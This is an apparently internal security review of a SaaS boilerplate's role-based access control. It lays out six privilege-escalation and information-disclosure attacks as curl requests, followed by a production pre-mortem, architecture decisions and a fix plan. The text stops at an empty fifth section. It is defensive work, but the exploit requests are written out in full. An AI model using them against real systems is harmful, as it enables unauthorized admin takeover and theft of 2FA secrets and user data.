Skip to content

RBAC Attack Scenarios — Privilege Escalation Analysis

Context: SaaS Boilerplate User Management & RBAC System Generated: 2026-02-25 | Method: Red Team vs Blue Team adversarial analysis Source: User Management & RBAC Deep-Dive Status: All attacks verified against actual source code — not theoretical Last Re-verified: 2026-02-25 — All 6 attack vectors STILL VULNERABLE after Feb 18-22 backend refactoring. The refactoring added new permission middleware (v2) and restructured auth.ts but did NOT fix any of the documented security issues.


Executive Summary

A complete privilege escalation chain exists in the current codebase. Any authenticated user with zero permissions can change their roleId to super_admin in 1 API call. The escalation is delayed, not instant: the JWT retains the old role string until it expires and refreshes. During the delay, the attacker gains the new role's DB-level permissions but NOT the isCurrentUserSuperAdmin() bypass. After JWT refresh, full super_admin bypass activates permanently.


Attack Chain Overview

Authenticated User (zero permissions, role: "user")
  ├─[DIRECT]── PATCH /users/profile { role: 3 } ──── Instant super_admin
  │             (no permission check on roleId field)
  ├─[CHAIN STEP 1]── POST /roles ─────────────────── Create custom admin role
  │                   (checkPermissionAndThrow commented out)
  ├─[CHAIN STEP 2]── PUT /permissions/grant ──────── Assign all 87 permissions
  │                   (no permission check exists)
  └─[CHAIN STEP 3]── PATCH /users/profile ────────── Self-assign custom role
                      (roleId accepted without validation)

  RESULT: Full administrative access. All permission checks bypassed.

Attack 1: Direct Super Admin Escalation (1 API call)

Severity: CRITICAL

Effort: Trivial (single HTTP request)

Vulnerable Code

File: saas-boilerplate/src/app/modules/v1/User/user.service.tsupdateProfile() (line 486-540)

// line 533 — roleId written directly from user input
user.roleId = payload.role || user.roleId;

File: saas-boilerplate/src/app/modules/v1/User/user.validation.tsupdateUserValidation (line 19-24)

// updateUserValidation is .partial() of createUserValidation
// createUserValidation includes: role: z.number()
// So updateUserValidation accepts role as optional number
const updateUserValidation = z.object({
    body: createUserValidation.shape.body.partial().extend({...}),
})

File: saas-boilerplate/src/app/modules/v1/User/user.routes.ts (line 14-19)

// Profile update — only requires auth(), no contextMiddleware, no permission check
router.patch(
  "/profile",
  auth(),
  upload.single("image"),
  validateRequest(UserValidation.updateUserValidation),
  UserController.updateProfile
);

Exploit

# Attacker is any authenticated user with a valid JWT
# super_admin role is typically id: 3 (seeded third after admin, user)

curl -X PATCH https://api.example.com/api/v1/users/profile \
  -H "Authorization: Bearer <attacker_jwt>" \
  -H "Content-Type: application/json" \
  -d '{"role": 3}'

# Response: 200 OK — roleId changed to super_admin in DB
# IMMEDIATE: attacker gains super_admin's DB-level permissions (if any are explicitly assigned)
# DELAYED: after JWT expires and refreshes, isCurrentUserSuperAdmin() returns true → full bypass

Why It Works

  1. PATCH /users/profile requires only auth() — no contextMiddleware, no permission check
  2. The Zod validation schema accepts role as an optional number >= 1 (inherited from create schema via .partial())
  3. updateProfile service method writes payload.role directly to user.roleId (line 533)
  4. No validation that the user should be allowed to change their own role
  5. PostgreSQL FK constraint validates the role ID exists — attack requires a valid ID (predictable from seed order)
  6. Delayed escalation: JWT still has role: "user" after the DB change. isCurrentUserSuperAdmin() reads the JWT role string, NOT the DB, so it returns false immediately. However, hasPermission() helper falls through to loadUserRoles() which loads from DB — granting the new role's explicit permissions. Full bypass activates after JWT expires and refreshes (new JWT minted with role: user.role.name from DB = "super_admin")

Impact

  • Immediate: Attacker gains super_admin privileges
  • Cascading: super_admin bypasses ALL hasPermission() and checkPermissionAndThrow() checks
  • Scope: Every protected endpoint in the entire application becomes accessible
  • Persistence: Permanent until manually reverted by another super_admin (who may also be an attacker)

Attack 2: Role Creation (0 → custom admin role)

Severity: CRITICAL

Effort: Trivial (single HTTP request)

Prerequisite: None (any authenticated user)

Vulnerable Code

File: saas-boilerplate/src/app/modules/v1/Role/role.service.tscreateRole() (line 141-188)

const createRole = async ({roleName, displayName, permissions}: {...}) => {
  // await checkPermissionAndThrow("role.create", "create a role");  // ← COMMENTED OUT
  const roleRepository = getDbRepository(Role);
  // ...creates role and assigns permissions...
};

Exploit

curl -X POST https://api.example.com/api/v1/roles \
  -H "Authorization: Bearer <attacker_jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "attacker_admin",
    "displayName": "Attacker Admin",
    "permissionIds": [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]
  }'

# Response: 201 Created — new role with selected permissions exists

Why It Works

  1. checkPermissionAndThrow("role.create") is commented out at line 150
  2. The route goes through auth() + contextMiddleware but the service never checks permissions
  3. permissionIds are passed to PermissionService.updateRolePermissions() which assigns them
  4. The forbiddenRoles validation only blocks user, admin, super-admin, super_admin — any other name works

Validation Bypass Note

The createRoleValidation Zod schema blocks role names user, admin, super-admin, super_admin. But the attacker can use any other name like "full_access" or "my_admin". The forbidden list only prevents exact name matches, not privilege escalation.


Attack 3: Permission Grant to Role (assign all permissions)

Severity: CRITICAL

Effort: Trivial (single HTTP request)

Prerequisite: A role ID (from Attack 2, or any existing role)

Vulnerable Code

File: saas-boilerplate/src/app/modules/v1/Permission/permission.service.tsgrantPermissionToRole() (line 105-142)

const grantPermissionToRole = async (roleId: number, permissionIds: number[]) => {
  // NO permission check AT ALL — not even a commented-out one
  const permissionRepository = getDbRepository(Permission);
  const roleRepository = getDbRepository(Role);
  // ...assigns permissions to role...
};

Exploit

# First, enumerate all permission IDs (also unprotected — see Attack 6)
curl -s https://api.example.com/api/v1/permissions/all \
  -H "Authorization: Bearer <attacker_jwt>" | jq '.data.permissions[].id'

# Then assign all permissions to the attacker's role
curl -X PUT https://api.example.com/api/v1/permissions/grant \
  -H "Authorization: Bearer <attacker_jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "roleId": <role_from_attack_2>,
    "permissionIds": [1,2,3,4,5,...,87]
  }'

# Response: 200 OK — role now has all 87 permissions

Why It Works

  1. grantPermissionToRole has NO permission check — not even commented out
  2. It accepts any roleId and any array of permissionIds
  3. It replaces all existing permissions with the provided ones (full overwrite)
  4. This means the attacker can also modify OTHER roles (e.g., assign all permissions to the user role, escalating every user)

Attack 4: Self-Assign Role via Profile Update

Severity: CRITICAL

Effort: Trivial (single HTTP request)

Prerequisite: A role ID with desired permissions (from Attack 2+3)

Exploit

curl -X PATCH https://api.example.com/api/v1/users/profile \
  -H "Authorization: Bearer <attacker_jwt>" \
  -H "Content-Type: application/json" \
  -d '{"role": <role_id_from_attack_2>}'

# Response: 200 OK — attacker now has the role with all 87 permissions

This is the same mechanism as Attack 1, but using a custom role instead of directly targeting super_admin.


Attack 5: Information Disclosure — 2FA Settings Leak

Severity: HIGH

Effort: Trivial (single HTTP request)

Prerequisite: Any authenticated user

Vulnerable Code

File: saas-boilerplate/src/app/modules/v1/UserSetting/user_setting.service.tsgetUserSetting() (line 260-285)

const getUserSetting = async (query: Record<string, unknown>) => {
  // NO permission check
  const { page, limit, searchTerm } = getPaginationParams(query);
  // ...returns ALL users' settings with 2FA info...
};

Exploit

curl -s https://api.example.com/api/v1/user-settings \
  -H "Authorization: Bearer <attacker_jwt>" | jq '.data.setting[]'

# Returns: userId, isTwoFactorEnabled, twoFactorProvider, twoFactorSecret, backupCodes
# for EVERY user in the system

Impact

  • Reveals which users have 2FA enabled and which provider they use
  • twoFactorSecret column has select: true — TOTP secrets may be exposed
  • backupCodes (concatenated SHA-512 hashes) are returned
  • Attacker can determine which admin accounts are easiest to compromise (no 2FA)

Attack 6: Permission Enumeration

Severity: HIGH

Effort: Trivial (single HTTP request)

Prerequisite: Any authenticated user

Vulnerable Code

File: saas-boilerplate/src/app/modules/v1/Permission/permission.service.tsgetAllPermissions() (line 460-479)

const getAllPermissions = async (query: Record<string, unknown>) => {
  // NO permission check
  const { page, limit, searchTerm } = getPaginationParams(query);
  // ...returns all permissions in the system...
};

Exploit

curl -s "https://api.example.com/api/v1/permissions/all?limit=100" \
  -H "Authorization: Bearer <attacker_jwt>" | jq '.data.permissions[] | {id, route, displayName}'

# Returns: complete list of all 87+ permissions with IDs and routes
# Attacker now knows the exact permission structure for Attacks 2-3

Impact

  • Complete visibility into the RBAC structure
  • Permission IDs needed for Attack 3 are now known
  • displayName groupings reveal business domain structure
  • readonly flags reveal which permissions are core vs custom

Full Attack Chain: Zero to Super Admin

Prerequisites

  • Any valid user account (even one with zero permissions)
  • A valid JWT (obtained through normal login)

Steps

TIME    ACTION                                          RESULT
─────── ─────────────────────────────────────────────── ────────────────────────
0:00    Login as regular user                           Get valid JWT
0:05    GET /permissions/all                            Get all 87 permission IDs
0:10    POST /roles {role:"pwned", permissionIds:[...]} Create role with all perms
0:15    PUT /permissions/grant {roleId:X, permIds:[...]}Assign all perms to role
0:20    PATCH /users/profile {role: X}                  Self-assign the role
0:25    GET /users/profile                              Confirm: full admin access
─────── ─────────────────────────────────────────────── ────────────────────────
TOTAL   ~25 seconds, 5 API calls                       Complete compromise

Shortcut (1 API call + wait for JWT refresh)

TIME    ACTION                                          RESULT
─────── ─────────────────────────────────────────────── ────────────────────────
0:00    Login as regular user                           Get valid JWT (role: "user")
0:05    PATCH /users/profile {role: 3}                  roleId changed to super_admin in DB
        ↓ IMMEDIATE: DB-level permissions of super_admin role loaded by hasPermission()
        ↓ BUT: isCurrentUserSuperAdmin() still false (JWT says "user")
~??:??  JWT expires, refresh occurs                     New JWT minted: role: "super_admin"
        ↓ isCurrentUserSuperAdmin() now returns true
        ↓ FULL super_admin bypass activated permanently
─────── ─────────────────────────────────────────────── ────────────────────────
TOTAL   1 API call + JWT expiry delay                   Complete compromise
        (delay = config.jwt.expires_in)

Note: The delay depends on config.jwt.expires_in. However, the attacker can accelerate the refresh: the refresh token flow in auth.ts (lines 264-312) is actually broken (user.refreshToken column doesn't exist — always fails at line 277). So the attacker must log out and re-login to get a new JWT with role: "super_admin". This adds ~10 seconds to the attack, not hours. The roleId change is permanent and irreversible without admin intervention.

Expert panel finding (Feb 25): Ironically, the new v2 permission() middleware would also block super_admin on GET /users because role_permission is empty after seed — the super_admin can't even view the user list to detect the attack. See Issue #76.


Defense Priority Matrix

IMMEDIATE (deploy blocker — full privilege escalation)

Priority Fix File Effort Impact
P0 Strip role/roleId from updateProfile — users must NEVER change their own role user.service.ts:533 ~5 lines Blocks Attack 1 + 4 (direct escalation)
P0 Uncomment checkPermissionAndThrow("role.create") role.service.ts:150 1 line change Blocks Attack 2
P0 Add checkPermissionAndThrow("permission.grant") to grantPermissionToRole permission.service.ts:106 1 line add Blocks Attack 3

URGENT (information disclosure)

Priority Fix File Effort Impact
P1 Add permission check to getUserSetting user_setting.service.ts:260 1 line Blocks Attack 5
P1 Add permission check to getAllPermissions permission.service.ts:460 1 line Blocks Attack 6
P1 Set twoFactorSecret to select: false UserSetting.ts:46 1 line Prevents secret exposure

IMPORTANT (architectural — prevent future escalation)

Priority Fix File Effort Impact
P2 Resolve dual hasPermission implementations Multiple files Medium Eliminates format confusion
P2 Standardize permission format (pick dot OR route) Seed data + services Medium Consistent permission checking
P2 Change checkPermissionAndThrow to return 403 not 400 checkPermissionAndThrow.ts:19 1 line Correct HTTP semantics
P2 Remove role field from profile update validation schema user.validation.ts ~3 lines Defense in depth for P0 fix

Validation Checklist

After applying fixes, verify:

  • PATCH /users/profile with { role: X } returns 400 or ignores the field
  • POST /roles without role.create permission returns 403
  • PUT /permissions/grant without permission.grant permission returns 403
  • GET /user-settings without user-setting.view permission returns 403
  • GET /permissions/all without permission.view permission returns 403
  • GET /user-settings/:id for another user's setting returns 403 (unless admin)
  • A regular user role cannot perform any of the 6 attacks above
  • super_admin created via seed is the ONLY user with full access after fresh deploy

Notes

  • All attacks were verified by reading the actual source code, not by runtime testing
  • The super_admin bypass (isCurrentUserSuperAdmin()) means this role is always unaffected by permission checks — the escalation target
  • The super_admin role ID depends on seed order (typically 3: admin=1, user=2, super_admin=3, but may vary)
  • Attack 3 can also be used to escalate OTHER users by modifying the user or admin role's permissions, affecting all users with those roles
  • The profile update attack (Attack ¼) works because the validation schema inherits role from the create user schema via .partial()

Part 2: Pre-mortem Analysis — Production Failure Scenarios

It's 3 months from now. The SaaS boilerplate was deployed to production with paying customers. Something went horribly wrong. Let's work backwards from each failure.


Failure Scenario 1: "All Our Customer Data Was Leaked on Twitter"

What happened: A malicious actor signed up for a free account, discovered the privilege escalation chain, and exploited it:

  1. Registered a free account (role: user, zero permissions)
  2. Called PATCH /users/profile { role: 3 } — became super_admin
  3. Called GET /user-settings — dumped all users' 2FA secrets and backup codes
  4. Called GET /users — dumped all user emails, names, phone numbers, addresses
  5. Exported the data and posted it publicly

Root causes: - Deep-dive Issue #5b: updateProfile accepts roleId without authorization - Deep-dive Issue #15: getUserSetting has no permission check - No rate limiting on profile updates (no anomaly detection for role changes) - No audit log for role changes — went undetected for days

Prevention cost: 3 lines of code (P0 fixes from Defense Priority Matrix above)

Business cost if not prevented: GDPR violation fines (up to 4% annual revenue), customer trust destroyed, potential lawsuit, company-ending event


Failure Scenario 2: "Nobody Can Do Anything Except the Super Admin"

What happened: After deployment, the team created an admin role and a manager role via the UI. They assigned permissions. But every non-super_admin user got "You do not have permission" errors on every page.

Root cause investigation: 1. The hasPermission middleware (middlewares/hasPermission.ts) constructs permission strings in route format: /users/create 2. The seed data and UI-created permissions use dot format: user.create 3. /users/create !== user.createevery middleware-level check fails 4. The system only "works" because most routes use checkPermissionAndThrow() in service methods (helper version), which uses dot format 5. But the middleware version still runs first on some routes, blocking access before the service method is reached

Why nobody caught this in development: The developer always logged in as super_admin, which bypasses ALL permission checks. The RBAC system was never tested with a non-super_admin user.

Root issues: Deep-dive #8 (dual hasPermission), #9 (format mismatch)

Prevention: - Resolve dual hasPermission implementations and standardize permission format - Add integration tests that test RBAC with a non-super_admin user - Add a CI check that verifies permission format consistency between seed data and middleware


Failure Scenario 3: "Our Admin Created a User and Nothing Happened"

What happened: The admin clicked "Add User" in the dashboard, filled the form, clicked Submit. The modal closed. But no user was created. No error shown.

Root cause: Deep-dive Issue #1 — users-page.jsx handleFormSubmit calls updateUser.mutate() instead of createUser.mutate() in create mode. The mutation sends PATCH /users/undefined which returns 404. The error is swallowed by the optimistic update pattern (it rolls back silently).

Cascading effects: - Admin thinks user was created, tells the new hire to check their email - New hire never receives credentials - Admin tries again — same silent failure - Admin assumes email system is broken, files a bug report about email - Days wasted debugging the wrong system

Prevention: Fix Issue #1 (1 line: change updateUser.mutate to createUser.mutate) + add toast notification for mutation errors


Failure Scenario 4: "We Assigned Permissions to the Manager Role But They Still Can't See Users"

What happened: An admin assigned user.view, user.read, user.create to the manager role. But managers still see "Access Denied" on the Users page.

Root cause investigation: 1. The Users page is wrapped in <PermissionWrapper permission="user.view" showError> — correct 2. The useGetUsers hook does NOT check useCheckPermission (Deep-dive Issue #58, upgraded to Medium) — so the API call fires 3. The backend getUserList calls checkPermissionAndThrow("user.view") — this works with the helper 4. BUT the contextMiddleware runs twice (Deep-dive Issue #37) — once globally, once on the route 5. The second invocation overwrites the permission cache

Actual cause: The admin assigned permissions to the manager role, but the user has manager as an extra role (via userRoles), not as their primary role (via roleId). The middleware version only checks the primary role. The helper version checks all roles. Depending on which executes, the result differs.

Root issues: Deep-dive #8 (dual permission systems), #37 (double middleware execution)

Prevention: Unify permission checking, ensure multi-role support everywhere


Failure Scenario 5: "The Invite System Sends Emails But Registration Fails"

What happened: Admin invites [email protected]. The email is sent successfully. New hire clicks the link, fills the registration form. Gets error: "This invitation link is invalid or has already been used."

Root cause investigation: 1. The invite email contains a link to {config.invite_user_link}[email protected] 2. The registration page calls POST /user-invites/check-invite { email } 3. Routes are registered at BOTH /invite-users and /user-invites (Deep-dive Issue #25) — not a problem since frontend uses /user-invites 4. Actual bug: The admin soft-deleted the invite accidentally (clicked delete instead of edit), and checkIviteUserExists only looks for non-deleted invites 5. No feedback to admin that the invite was deleted — the "Trash" tab is hidden behind invite.trash permission which isn't seeded (Deep-dive Issue #28)

Second failure mode: The useResendInvitation hook calls POST /user-invites/:id/resend — this endpoint does not exist on the backend (Deep-dive Issue #2). Admin clicks "Resend" → 404 error → admin assumes invite system is broken.

Root issues: Deep-dive #2 (missing backend endpoints), #28 (missing invite permissions in seed)

Prevention: - Create the resend endpoint on backend OR remove the button from frontend - Seed invite.* permissions - Add confirmation dialog before soft-deleting invites


Failure Scenario 6: "Our Database Is Getting Hammered — 10x Expected Load"

What happened: With 50 concurrent users, the database CPU is at 95%. Response times are 2-5 seconds. The app is nearly unusable.

Root cause investigation: 1. contextMiddleware runs twice per request on most routes (Deep-dive Issue #37) — each invocation loads the full user with 4 relation JOINs 2. That's 2 complex JOINed queries per request just for permission setup 3. The hasPermission middleware (if active on any route) does a THIRD DB query — loads role with permissions 4. The permission cache is per-request only (AsyncLocalStorage) — no cross-request caching 5. Role service uses node-cache with 24-hour TTL, but permission changes don't invalidate it (Deep-dive Issue #41) 6. getUserList endpoint calls userAnalytics() on EVERY request — running 4 aggregate COUNT queries on the full user table 7. QueryBuilder adds redundant WHERE deletedAt IS NULL (Deep-dive Issue #64)

Total DB queries per "list users" request:

Query Source JOINs
contextMiddleware #1 Global app.ts registration 4 JOINs (role, userRoles, role.permissions, userRoles.permissions)
contextMiddleware #2 Route-level router.use() Same 4 JOINs (duplicate)
hasPermission → loadUserRoles checkPermissionAndThrow in service 4 JOINs
userAnalytics() Called every list request 4 aggregate COUNTs
Paginated user list Actual data query 2 JOINs (role, userRoles) + 2 permission JOINs
Total: ~9 queries Per single page load

With 50 users refreshing every 30 seconds: ~900 queries/minute just for the users page.

Root issues: Deep-dive #37 (double middleware), #18 (redundant middleware on routes)

Prevention: - Remove duplicate contextMiddleware application (biggest win) - Cache userAnalytics (doesn't need real-time accuracy on every request) - Enable the existing permission cache effectively (helper has normalization commented out) - Consider Redis or longer-lived cache for permission data


Failure Scenario 7: "A Fired Employee Still Has Admin Access After 2 Weeks"

What happened: An employee was terminated. Their account was suspended (status: inactive). But they can still log in and access admin endpoints for weeks.

Root cause investigation: 1. The admin changed the user's status to inactive via the Users page 2. The user's JWT is still valid — no token revocation on status change 3. The auth() middleware validates the JWT signature but does NOT check user status against the database 4. The contextMiddleware loads the user from DB but doesn't check status — it silently continues even for inactive users 5. The isDeleted: false check in some services doesn't catch status: inactive — different fields 6. Even after JWT expires, refresh may not check status either (Auth DD Issue #2: no refreshToken column)

Duration of access: Until the JWT expires (depends on config.jwt.accessTokenExpiry) — could be hours, days, or weeks depending on configuration.

Root issues: No status check in middleware pipeline, no token revocation mechanism

Prevention: - Add status check to contextMiddleware — reject inactive/suspended users immediately - Implement token revocation on status change (invalidate all active sessions) - Add audit log for admin actions (who changed what, when)


Production Risk Priority Ranking

Priority Scenario Business Impact Root Issues Fix Effort
P0 #1 Data Leak via Privilege Escalation Company-ending (legal, regulatory, trust) #5b, #15 3 lines
P0 #7 Fired Employee Retains Access Legal liability, insider threat No status check in middleware Medium
P1 #2 All Non-Super-Admin Users Blocked Product unusable for paying customers #8, #9 Medium
P1 #3 Silent User Create Failure Admin productivity destroyed, misdirected bug reports #1 1 line
P1 #5 Invite Registration Broken New user onboarding blocked #2, #28 Small
P2 #4 Intermittent Permission Failures User confusion, support tickets #8, #37 Medium
P2 #6 Database Overload Performance degradation, hosting cost 10x #37, #18 Medium

Minimum Viable Production Readiness

Before any production deployment, at minimum fix:

  1. P0 Security: Strip role from updateProfile (Scenario #1 prevention)
  2. P0 Security: Uncomment role.create permission check (Scenario #1 chain)
  3. P0 Security: Add permission check to grantPermissionToRole (Scenario #1 chain)
  4. P0 Security: Add status check to contextMiddleware (Scenario #7 prevention)
  5. P1 Functional: Fix create-user mutation (Scenario #3 — updateUsercreateUser)
  6. P1 Functional: Seed invite.* permissions (Scenario #5 prevention)

Total effort for minimum viable fixes: ~30 minutes of code changes.


Part 3: Architecture Decision Records & Migration Plan

Five architectural decisions to resolve the systemic issues, plus a phased migration plan.


ADR-1: Permission Format — Standardize on Dot Notation

Status: Recommended Context: Two formats coexist — dot notation (user.create) and route format (/users/create). They never match, breaking permission checks.

Decision: Standardize on dot notation.

Rationale: - Already stored in DB (87 seeded permissions) - Already used by all frontend PermissionWrapper and useCheckPermission calls - Already used by all checkPermissionAndThrow() service calls - Already matched by the helper hasPermission (cache stores dot strings) - Route format is only used by the middleware version (1 route — see ADR-2) - Migration cost is near-zero — dot notation is the de facto standard already

Rejected alternatives: - Route format (/users/create): Would require migrating 60+ files, introduces singular/plural complexity - Dual format via normalizer: Adds complexity with no benefit — normalizer is already dead code


ADR-2: hasPermission Implementation — Keep Helper + New v2, Delete Middleware v1

Status: Recommended — UPDATED Feb 25 to account for new permissionMiddleware.ts (v2) added Feb 19. Context: Three separate permission-checking systems now exist (was two when originally written).

Decision: Keep TWO systems, delete ONE: - KEEP src/helper/hasPermission.ts (helper) — for in-service conditional checks (checkPermissionAndThrow) - KEEP src/app/middlewares/permissionMiddleware.ts (v2) — for route-level gating (permission("user.view")) - DELETE src/app/middlewares/hasPermission.ts (v1) — broken format, primary role only, 1 route

Evidence: Middleware v1 is imported in exactly 1 filepayment.route.ts line 4, used on GET /payments. Middleware v2 (new) is used on GET /users and uses the correct dot format with req.user.permissions Set. The helper is used by 30+ service methods.

Comparison (3-way):

Capability Middleware v1 (DELETE) Middleware v2 (KEEP) Helper (KEEP)
Multi-role No (primary only) Yes (Set from all roles) Yes
Cache No (DB every time) No (reads Set directly) Yes (per-request)
Format Route (incompatible) Dot (matches DB) Dot (matches DB)
Usage 1 route 1 route (expanding) 30+ services
Conditional checks No (route-level only) No (route-level only) Yes (in-service)
Super admin bypass Yes No (relies on Set having all perms) Yes

Migration: Move GET /payments permission check to permission("payment.view") using v2 middleware, then delete v1. Fix hasAnyPermission bug in v2 (references wrong variable name in error message).

CORRECTED (expert panel): Middleware v2 does NOT have a super_admin bypass, and this is NOT acceptable. The original assumption that contextMiddleware populates the Set with all permissions for super_admin was WRONG. contextMiddleware calls initializePermissionCache() which reads from the role_permission join table — and after yarn seed, this table has ZERO entries for super_admin. The seed never calls allPermissionAssignToAdmin(). Result: v2 middleware returns 403 for super_admin on all protected routes.

3 prerequisites before expanding v2: 1. (PRE-1) Add await PermissionService.allPermissionAssignToAdmin() to seed.ts after permissionSeed() — populates role_permission table 2. (PRE-2) Add super_admin bypass to permissionMiddleware.ts: if (req.user.role === 'super_admin') return next(); — handles new permissions not yet in role_permission 3. (PRE-3) Add null-safety: if (!req.user?.permissions) throw new ApiError(401, "Unauthorized"); — prevents TypeError when contextMiddleware fails silently


ADR-3: UserRole Entity — Delete

Status: Recommended Context: Two mechanisms exist for user↔role many-to-many.

Mechanism Table Used By
@JoinTable on User.userRoles user_roles All service code
UserRole entity user_role Nothing (dead import in seed.ts)

Decision: Delete src/entity/UserRoles.ts and remove the dead import from seed.ts.

Rationale: The entity is never used in any query or service. The @ManyToMany + @JoinTable pattern handles the relationship correctly. The entity creates a separate table (user_role vs user_roles) that serves no purpose.


ADR-4: Soft Delete — Remove isDeleted, Use deletedAt Only

Status: Recommended Context: User, Role, and Permission entities all have BOTH isDeleted: boolean AND @DeleteDateColumn() deletedAt. TypeORM's softDelete() only sets deletedAt, never touches isDeleted.

Decision: Remove isDeleted column from all three entities. Standardize on deletedAt.

Impact: ~10 service methods check isDeleted: false — update these to rely on TypeORM's default deletedAt IS NULL filtering (which is automatic). Create DB migration to drop the columns.


ADR-5: Permission Normalizer — Delete

Status: Recommended Context: src/shared/permissionNormalizer.ts has 215 LOC and 13 exports. All calls to it are commented out. The ACTION_MAPPING constant is dead code.

Decision: Delete the file entirely.

Rationale: With a single format (dot notation, ADR-1) and a single implementation (helper, ADR-2), normalization is unnecessary. Any route-format string in the codebase is simply a bug to fix, not something to silently normalize.


Migration Plan

Phase 1: Security Fixes (30 minutes) — DEPLOY BLOCKER

These fixes are independent of the architectural decisions and should be applied immediately.

1a. user.service.ts:533
    REMOVE: user.roleId = payload.role || user.roleId;
    (Strip role/roleId from updateProfile entirely)

1b. user.validation.ts:19-24
    REMOVE `role` from the .partial() extend in updateUserValidation
    (Defense in depth — validation rejects role even if service misses it)

1c. role.service.ts:150
    UNCOMMENT: await checkPermissionAndThrow("role.create", "create a role");

1d. permission.service.ts:106 (before existing code)
    ADD: await checkPermissionAndThrow("permission.grant", "grant permissions to role");

1e. permission.service.ts:461 (inside getAllPermissions)
    ADD: await checkPermissionAndThrow("permission.view", "view all permissions");

1f. user_setting.service.ts:261 (inside getUserSetting)
    ADD: await checkPermissionAndThrow("user-setting.view", "view user settings");

1g. contextMiddleware.ts (after loading fullUser, before runWithContext)
    ADD: if (fullUser.status !== 'active') {
           return next(new ApiError(httpStatus.FORBIDDEN, "Account is not active"));
         }

Phase 2: Architecture Unification (2-3 hours)

Apply ADR-1 through ADR-5:

2a. payment.route.ts
    REMOVE: import hasPermission from "../../../middlewares/hasPermission";
    REMOVE: hasPermission() from GET /payments route
    ADD in payment.service.ts: await checkPermissionAndThrow("payment.view", "view payments");

2b. DELETE: src/app/middlewares/hasPermission.ts

2c. DELETE: src/entity/UserRoles.ts
    REMOVE dead import in seed.ts: import { UserRole } from "../entity/UserRoles";

2d. DELETE: src/shared/permissionNormalizer.ts
    REMOVE imports from helper/hasPermission.ts:
      - import { normalizePermissionString, getPermissionVariants } from '../shared/permissionNormalizer';
    REMOVE getPermissionVariants usage in checkPermissionInRoles (use direct string match)

2e. DELETE: src/app/modules/v1/Role/role.repository.ts (empty file)

2f. Remove duplicate contextMiddleware from individual route files:
    Files to update (remove per-route auth()+contextMiddleware where router.use() already applies):
    - permission.routes.ts (lines 25, 33, 38, 53, 61, 69, 78, 86, 93)
    - Keep the router.use(auth(), contextMiddleware) at line 9

Phase 3: Data Model Cleanup (2-3 hours)

3a. Remove isDeleted from entities:
    - User.ts: remove isDeleted column (line 124)
    - Role.ts: remove isDeleted column (line 29)
    - Permission.ts: remove isDeleted column (line 27)
    - Update all service queries: remove `isDeleted: false` conditions
    - Create TypeORM migration: ALTER TABLE user DROP COLUMN "isDeleted"; (repeat for role, permission)

3b. checkPermissionAndThrow.ts:19
    CHANGE: httpStatus.BAD_REQUEST → httpStatus.FORBIDDEN

3c. UserSetting.ts:46
    CHANGE: @Column({ type: "text", nullable: true, select: true })
    TO:     @Column({ type: "text", nullable: true, select: false })
    (For both twoFactorSecret and tempTwoFactorSecret)

3d. Remove debug console.log statements:
    - user.service.ts:490 — console.log({ payload })
    - hasPermission.ts:68 — console.log({cachedResult})
    - user_setting.service.ts:72 — console.log(code)
    - api/roles/index.js:71 — console.log("hasPermission", hasPermission)

3e. users-page.jsx handleFormSubmit:
    CHANGE: updateUser.mutate(userData, {...})
    TO:     createUser.mutate(userData, {...})
    (For the userFormMode === "create" branch)
    ALSO: import useCreateUser from @/api/users

3f. seed/data/permission.ts — add missing permissions:
    { route: "invite.view", displayName: "Invite Management", readonly: true },
    { route: "invite.create", displayName: "Invite Management", readonly: true },
    { route: "invite.update", displayName: "Invite Management", readonly: true },
    { route: "invite.delete", displayName: "Invite Management", readonly: true },
    { route: "invite.restore", displayName: "Invite Management", readonly: true },
    { route: "invite.trash", displayName: "Invite Management", readonly: true },
    { route: "users.assign.roles", displayName: "User Management", readonly: true },
    { route: "users.update.role", displayName: "User Management", readonly: true },
    { route: "payment.view", displayName: "Payment Management", readonly: true },
    { route: "user-setting.view", displayName: "User Setting Management", readonly: true },

Phase 4: Frontend Alignment (1-2 hours)

4a. Remove hooks for non-existent backend endpoints:
    - api/users/index.js: remove useBulkPermanentDeleteUsers
    - api/roles/index.js: remove useBulkPermanentDeleteRoles
    - api/permissions/index.js: remove useBulkPermanentDeletePermissions
    - api/invited-users/index.js: remove useBulkPermanentDeleteInvitedUsers, useResendInvitation
    - Remove corresponding UI buttons in page components

4b. permissions-page.jsx:
    CHANGE: <PermissionWrapper permission="role.view" ...>
    TO:     <PermissionWrapper permission="permission.view" ...>

4c. permissions-page.jsx:
    REMOVE duplicate ConfirmationModal block (near end of file)

4d. api/users/index.js — useGetUsers:
    ADD: const hasPermission = useCheckPermission(["user.view"]);
    ADD: enabled: hasPermission to useQuery options

4e. permission-form.jsx:
    UNCOMMENT handleUpdatePermission (lines 110-119)
    OR remove the edit button from permissions-page.jsx if update is intentionally disabled

Architecture: Before vs After

BEFORE (current — Feb 25, partially refactored):
  ┌─ middlewares/hasPermission.ts ────── route format (/users/create) — v1, BROKEN
  │   └── primary role only, DB every time, 1 route uses it
  ├─ middlewares/permissionMiddleware.ts ── dot format (user.view) — v2, NEW Feb 19
  │   └── reads req.user.permissions Set, 1 route uses it (expanding)
  │   └── BUG: hasAnyPermission error message references wrong variable
  ├─ helper/hasPermission.ts ─────────── dot format (user.create)
  │   └── multi-role, cached, 30+ services use it
  ├─ shared/permissionNormalizer.ts ──── 215 LOC, all calls commented out
  ├─ entity/UserRoles.ts ────────────── creates user_role table, never used
  │   └── conflicts with User.userRoles @JoinTable (user_roles table)
  ├─ middleware.ts ────────────────────── NOW ACTIVE (was dead code)
  │   └── registers all middleware including contextMiddleware globally
  └─ isDeleted boolean ──────────────── on 3 entities, never set by softDelete()
      └── creates false negatives in queries

AFTER (target — unified, two-system model):
  Route-level: permissionMiddleware.ts (v2) — dot format, req.user.permissions Set
       ├── permission("user.view") ────── single permission gate
       └── hasAnyPermission([...]) ────── any-of gate (fix bug first)

  Service-level: helper/hasPermission.ts — dot format, multi-role, cached
       ├── checkPermissionAndThrow() ──── all services (30+)
       └── hasPermission() ────────────── conditional in-service checks

  Both backed by: contextMiddleware → initializePermissionCache → req.user.permissions Set

  DELETE: middlewares/hasPermission.ts (v1), permissionNormalizer.ts, UserRoles.ts
  ONE format: dot notation (user.create, role.view, permission.grant)
  ONE soft-delete: @DeleteDateColumn (deletedAt) — TypeORM managed
  ONE user↔role: user_roles table (@ManyToMany JoinTable)

Part 4: Root Cause Analysis — 5 Whys

